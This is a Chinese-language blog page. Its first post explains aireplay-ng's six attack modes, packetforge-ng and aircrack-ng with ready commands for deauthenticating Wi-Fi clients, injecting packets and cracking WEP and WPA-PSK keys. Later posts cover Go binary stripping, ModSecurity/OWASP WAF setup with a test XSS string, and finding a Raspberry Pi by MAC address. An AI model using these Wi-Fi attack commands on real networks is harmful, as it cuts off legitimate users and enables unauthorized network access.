Aireplay-ng 的 6 种攻击模式详解
-0 Deautenticate 冲突模式
使已经连接的合法客户端强制断开与路由端的连接,使其重新连接。在重新连接过程中获得验证数据包,从而产生有效 ARP request。
如果一个客户端连在路由端上,但是没有人上网以产生有效数据,此时,即使用-3 也无法产生有效 ARP request。所以此时需要用-0 攻击模式配合,-3 攻击才会被立刻激活。
aireplay-ng -0 10 –a <ap mac> -c <my mac> wifi0
参数说明:
【-0】:冲突攻击模式,后面跟发送次数(设置为 0,则为循环攻击,不停的断开连接,客户端无法正常上网)
【-a】:设置 ap 的 mac
【-c】:设置已连接的合法客户端的 mac。
如果不设置-c,则断开所有和 ap 连接的合法客户端。
aireplay-ng -3 -b <ap mac> -h <my mac> wifi0
注:使用此攻击模式的前提是必须有通过认证的合法的客户端连接到路由器
-1 fakeauth count 伪装客户端连接
这种模式是伪装一个客户端和 AP 进行连接。
这步是无客户端的研究学习的第一步,因为是无合法连接的客户端,因此需要一个伪装客户端来和路由器相连。为让 AP 接受数据包,必须使自己的网卡和 AP 关联。如果没有关联的话,目标 AP 将忽略所有从你网卡发送的数据包,IVS 数据将不会产生。
用-1 伪装客户端成功连接以后才能发送注入命令,让路由器接受到注入命令后才可反馈数据从而产生 ARP 包。
aireplay-ng -1 0 –e <ap essid> -a <ap mac> -h <my mac> wifi0
参数说明:
【-1】:伪装客户端连接模式,后面跟延时
【-e】:设置 ap 的 essid
【-a】:设置 ap 的 mac
【-h】:设置伪装客户端的网卡 MAC(即自己网卡 mac)
-2 Interactive 交互模式
这种攻击模式是一个抓包和提数据发攻击包,三种集合一起的模式
1.这种模式主要用于研究学习无客户端,先用-1 建立虚假客户端连接然后直接发包攻击 ,
aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b <ap mac> -h <my mac> wifi0
参数说明:
【-2】:交互攻击模式
【-p】:设置控制帧中包含的信息(16 进制),默认采用 0841
【-c】:设置目标 mac 地址
【-b】:设置 ap 的 mac 地址
【-h】:设置伪装客户端的网卡 MAC(即自己网卡 mac)
2.提取包,发送注入数据包 aireplay-ng -2 –r <file> -x 1024 wifi0 发包攻击.其中,-x 1024 是限定发包速度,避免网卡死机,可以选择 1024。
-3 ARP-request 注入攻击模式
这种模式是一种抓包后分析重发的过程 这种攻击模式很有效。既可以利用合法客户端,也可以配合-1 利用虚拟连接的伪装客户端。如果有合法客户端那一般需要等几分钟,让合法客户端和 ap 之间通信,少量数据就可产生有效 ARP request 才可利用-3模式注入成功。如果没有任何通信存在,不能得到 ARP request.,则这种攻击就会失败。
如果合法客户端和ap之间长时间内没有 ARP request,可以尝试同时使用-0 攻击. 如果没有合法客户端,则可以利用-1 建立虚拟连接的伪装客户端,连接过程中获得验证数据包,从而产生有效 ARP request。再通过-3 模式注入。
aireplay-ng -3 -b <ap mac> -h <my mac> -x 512 wifi0
参数说明:
【-3】:arp 注入攻击模式
【-b】:设置 ap 的 mac
【-h】:设置
【-x】:定义每秒发送数据户包的数量,但是最高不超过 1024,建议使用 512(也可不定义)
-4 Chopchop 攻击模式
用以获得一个包含密钥数据的 xor 文件 这种模式主要是获得一个可利用包含密钥数据的 xor 文件,不能用来解密数据包。而是用它来产生一个新的数据包以便我们可以进行注入。
aireplay-ng -4 -b <ap mac> -h <my mac> wifi0
参数说明:
【-b】:设置需要研究学习的 AP 的 mac
【-h】:设置虚拟伪装连接的 mac(即自己网卡的 mac)
-5 fragment 碎片包攻击模式
用以获得 PRGA(包含密钥的后缀为 xor 的文件) 这种模式主要是获得一个可利用 PRGA,这里的 PRGA 并不是 wep key 数据,不能用来解密数据包。而是用它来产生一个新的数据包以便我们可以进行注入。
其工作原理就是使目标 AP 重新广播包,当 AP 重广播时,一个新的 IVS 将产生,我们就是利用这个来研究学习 !
aireplay-ng -5 -b <ap mac> -h <my mac> wifi0
【-5】:碎片包攻击模式
【-b】:设置 ap 的 mac
【-h】:设置虚拟伪装连接的 mac(即自己网卡的 mac)
Packetforge-ng:数据包制造程序 Packetforge-ng <mode> <options>Mode
【-0】:伪造 ARP 包
packetforge-ng -0 -a <ap mac> -h <my mac> wifi0 –k 255.255.255.255 -l 255.255.255.255–y<.xor file> -w mrarp
参数说明:
【-0】:伪装 arp 数据包
【-a】:设置 ap 的 mac
【-h】设置虚拟伪装连接的 mac(即自己的 mac)
【-k】<ip[:port]>说明:设置目标文件 IP 和端口
【-l】<ip[:port]>说明:设置源文件 IP 和端口
【-y】<file>说明:从 xor 文件中读取 PRGA。后面跟 xor 的文件名。
【-w】设置伪装的 arp 包的文件名 Aircrack-ng:WEP 及 WPA-PSK key 研究学习主程序
Aircrack-ng [optin] <.cap/.ivs file>Optin aircrack-ng -n 64 -b <ap mac> name-01.ivs )
参数说明:
【-n】:设置 WEP KEY 长度(64/128/152/256/512)aircrack-ng -x -f 2 name-01h.cap
参数说明:
【-x】:设置为暴力研究学习模式
【-f】:设置复杂程度,wep 密码设置为 1,wpa 密码设置为 2 aircrack-ng -w password.txt ciw.cap
【-w】:设置为字典研究学习模式,后面跟字典文件,再后面跟是我们即时保存的那个捕获到 WPA 验证的抓包文件。
2015年8月25日星期二
2015年4月26日星期日
编译更小的Golang程序
把Go程序变小的办法是:
go build -ldflags "-s -w"
相关解释:
-s去掉符号表,panic时候的stack trace就没有任何文件名/行号信息了,这个等价于普通C/C++程序被strip的效果,
-w去掉DWARF调试信息,得到的程序就不能用gdb调试了。 -s和-w也可以分开使用.
原文:http://sudochina.com/insion/blog/179/
go build -ldflags "-s -w"
相关解释:
-s去掉符号表,panic时候的stack trace就没有任何文件名/行号信息了,这个等价于普通C/C++程序被strip的效果,
-w去掉DWARF调试信息,得到的程序就不能用gdb调试了。 -s和-w也可以分开使用.
原文:http://sudochina.com/insion/blog/179/
2014年8月20日星期三
配置ModSecurity防火墙与OWASP规则
配置ModSecurity防火墙与OWASP规则
ModSecurity是一个免费、开源的Apache模块,可以充当Web应用防火墙(WAF)。ModSecurity是一个 入侵探测与阻止的引擎.它主要是用于Web应用程序所以也可以叫做Web应用程序防火墙.ModSecurity的目的是为增强Web应用程序的安全性和 保护Web应用程序避免遭受来自已知与未知的攻击.
OWASP是一个安全社区,开发和维护着一套免费的应用程序保护规则,这就是所谓OWASP的ModSecurity的核心规则集(即CRS)。我们可以通过ModSecurity手工创建安全过滤器、定义攻击并实现主动的安全输入验证.
所以,在这篇文章中,我们将配置ModSecurity防火墙与OWASP的核心规则集。我们也将学习如何可以根据我们的需要自定义OWASP的核心规则集或创建自己的定制规则.
本文是在Centos环境中安装和配置的,步骤如下:
第1步
以root用户身份登录到您的服务器,登录之后我们在安装ModSecurity之前需要安装一些依赖包,可以通过以下的命令安装:
1
|
yum install gcc make libxml2 libxml2-devel httpd-devel pcre-devel curl-devel –y
|
第2步
安装依赖包后,我们将安装ModSecurity。我们可以通过运行以下命令进行安装:
1
|
yum install mod_security –y
|
现在ModSecurity已经成功地安装在系统中。
第3步
ModSecurity安装后,我们需要重新启动Apache服务器。我们可以通过下面的命令重启Apache服务器:
1
|
Services httpd restart
|
或
1
|
/etc/init.d/httpd restart
|
现在,我们已经成功地在服务器中安装了ModSecurity,下一个步骤是下载和配置OWASP的ModSecurity规则。所以,我们必须将当前工作目录切换到/etc/httpd的。这可以通过cd命令来完成。
1
|
cd /etc/httpd
|
第4步
正如我们在文章的前面所提到的,我们的ModSecurity安装是不完美的,但我们需要增加我们的规则集。这可以通过Github的网站来完成。 Github上是一个开源的平台,让许多开发人员分享他们的项目和应用程序。通过git命令使用clone选项,可以下载Github服务器上的任何内 容。因此,我们将导入预定义的OWASP的ModSecurity规则到我们的服务器。我们可以通过下面的命令做到这一点。
1
2
3
|
git clone
https://github.com/SpiderLabs/owasp-modsecurity-crs.git
|
执行该命令后,OWASP的ModSecurity规则将在OWASP-MODSecurity-src目录下保存。可以通过ls命令如下进行查看。
现在,我们必须重新命名OWASP-MODSecurity-src文件夹到ModScurity-CRS。这可以通过mv命令来完成。
1
|
mv owasp-modsecurity-crs modsecurity-crs
|
我们可以通过运行ls命令验证。
第5步
我们必须将工作目录更改为mod security-crs。这可以通过cd命令来完成。
1
|
cd modsecurity-crs
|
Modsecurity_crs_10_setup.conf是ModSecurity工作的主配置文件。默认情况下,它带有.example扩展名。要初始化ModSecurity,我们要重命名此文件。我们可以用mv命令重命名。
1
2
|
MV modsecurity_crs_10_setup.conf.example
modsecurity_crs_10_setup.conf
|
之后,我们要在Apache的配置文件中添加模块。要装入新的ModSecurity模块,编辑Apache的配置文件/etc/httpd/conf/httpd.conf。我们需要在终端中输入以下命令。
1
|
vi /etc/httpd/conf/httpd.conf
|
复制/粘贴以下内容到文件的末尾并保存文件。
1
2
3
4
5
|
<IfModule security2_module>
Include
modsecurity-crs/modsecurity_crs_10_config.conf
Include modsecurity-crs/base_rules/*.conf
</IfModule>
|
我们将重新启动Apache服务器。
第7步
现在的ModSecurity已经成功配置了OWASP的规则,但能够按照我们的选择让它工作,我们将不得不作出一个新的配置文件与我们自己的规 则,这就是所谓的白名单文件。通过这个文件,我们就可以控制整个防火墙,创建自己的ModSecurity规则。我们将在modsecurity.d目录 中创建的。打开/通过下面的命令来创建这个文件。
1
|
Vi /etc/httpd/modsecuirty.d/whitelist.conf
|
复制下面的规则并保存到该文件中。
1
2
3
4
5
6
7
|
#Whitelist file to control ModSec
<IfModule mod_security2.c>
SecRuleEngine On
SecRequestBodyAccess On
SecResponseBodyAccess On
SecDataDir /tmp
</IfModule>
|
现在,我们保存文件并重新启动Apache服务器。下面对各行的意义进行说明。
1.SecRuleEngine是接受来自ModSecurity-CRS目录下的所有规则的安全规则引擎。因此,我们可以根据需求设置不同的规则。要设置不同的规则有以下几种。
SecRuleEngine
On:将在服务器上激活ModSecurity防火墙。它会检测并阻止该服务器上的任何恶意攻击。
SecRuleEngine
Detection Only:如果这个规则是在whitelist.conf文件中设置的,它只会检测到所有的攻击,并根据攻击产生错误,但它不会在服务器上阻止任何东西。
SecRuleEngine
Off::这将在服务器上上停用ModSecurity的防火墙。
2.SecRequestBodyAccess:它会告诉ModSecurity是否会检查请求。它起着非常重要的作用,当一个Web应用程序配置方式中,所有的数据在POST请求中。它只有两个参数,ON或OFF。我们可以根据需求设置。
3.SecResponseBodyAccess:在whiltelist.conf文件,如果此参数设置为ON,然后ModeSecurity可以分析服务器响应,并做适当处理。它也有只有两个参数,ON和Off。我们可以根据求要进行设置。
4.SetDataDirectory:在本文中,我们定义的ModSecurity的工作目录。该目录将作为ModSecurity的临时目录使用。
ModSecurity现在已经成功配置了OWASP的规则。现在,我们将测试对一些最常见的Web应用攻击。将测试ModSecurity是否挡住了攻击。
为了做到这一点,我们将尝试在一个存在存储性xss漏洞的网站上进行测试,我们已经配置ModSecurity。在一个网站中最常见的XSS漏洞的 位置将是搜索框,用户可以在网站上搜索任何东西。如果恶意用户试图在搜索框中注入Java脚本或HTML脚本,它会在浏览器中执行。我们可以在搜索框中输 入<_script_>alert(123)<_ data-blogger-escaped-script_=""> 。在正常情况下(当我们的服务器上的没有任何类型的应用程序防火墙),它会在网站显示一个弹窗上本。
如果在服务器上已经平配置ModSecurity,服务器会根据配置阻止XSS攻击,以及生成错误日志。
我们可以检查ModSecurity的错误日志文件。
在/var/logs/httpd/error_logs
我们可以通过下面的命令来检查文件的最后更新的行。
1
|
tail –f /var/logs/httpd/error_logs
|
ModSecurity核心规则集(CRS)提供以下类别的保户来防止攻击。
- HTTP Protection (HTTP防御) – HTTP协议和本地定义使用的detectsviolations策略。
- Real-time Blacklist Lookups(实时黑名单查询) -利用第三方IP信誉。
- HTTP Denial of Service Protections(HTTP的拒绝服务保护) -防御HTTP的洪水攻击和HTTP
- Dos 攻击。
- Common Web Attacks Protection(常见的Web攻击防护) -检测常见的Web应用程序的安全攻击。
- Automation Detection(自动化检测) -检测机器人,爬虫,扫描仪和其他表面恶意活动。
- Integration with AV Scanning for File Uploads(文件上传防病毒扫描) -检测通过Web应用程序上传的恶意文件。
- Tracking Sensitive Data(跟踪敏感数据) -信用卡通道的使用,并阻止泄漏。
- Trojan Protection(木马防护) -检测访问木马。
- Identification of Application Defects (应用程序缺陷的鉴定)-应用程序的错误配置警报。
- Error Detection and Hiding(错误检测和隐藏) -伪装服务器发送错误消息。
参考文章:
https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project
http://spiderlabs.github.io/owasp-modsecurity-crs/
http://www.modsecurity.org/demo/crs-demo.html
http://www.atomicorp.com/wiki/index.php/Mod_security
https://github.com/SpiderLabs/owasp-modsecurity-crs
https://www.owasp.org/index.php?title=Projects/OWASP_ModSecurity_Core_Rule_Set_Project/Releases/ModSecurity_2.0.6/Assessment&setlang=es
来自:网络安全攻防研究室
2014年4月13日星期日
用查MAC的方式获取Raspberry Pi树莓派的ip地址
很多刚接触树莓派的朋友都不知道怎么在局域网中查找树莓派的IP地址(一般的内网IP由DHCP随机分配),但如果你知道树莓派的MAC地址,这就好办多了。
用python跑如下代码,ip地址就有了。
import os
res = os.popen('arp -a').readlines()
for I in res:
if "00:00:5e:00:xx:xx" in I:
print I[:20]
该程序在CentOS6.x / Fedora 19系统上调试通过
用查MAC的方式获取Raspberry Pi树莓派的ip地址
2013年12月20日星期五
2013年7月16日星期二
订阅:
博文 (Atom)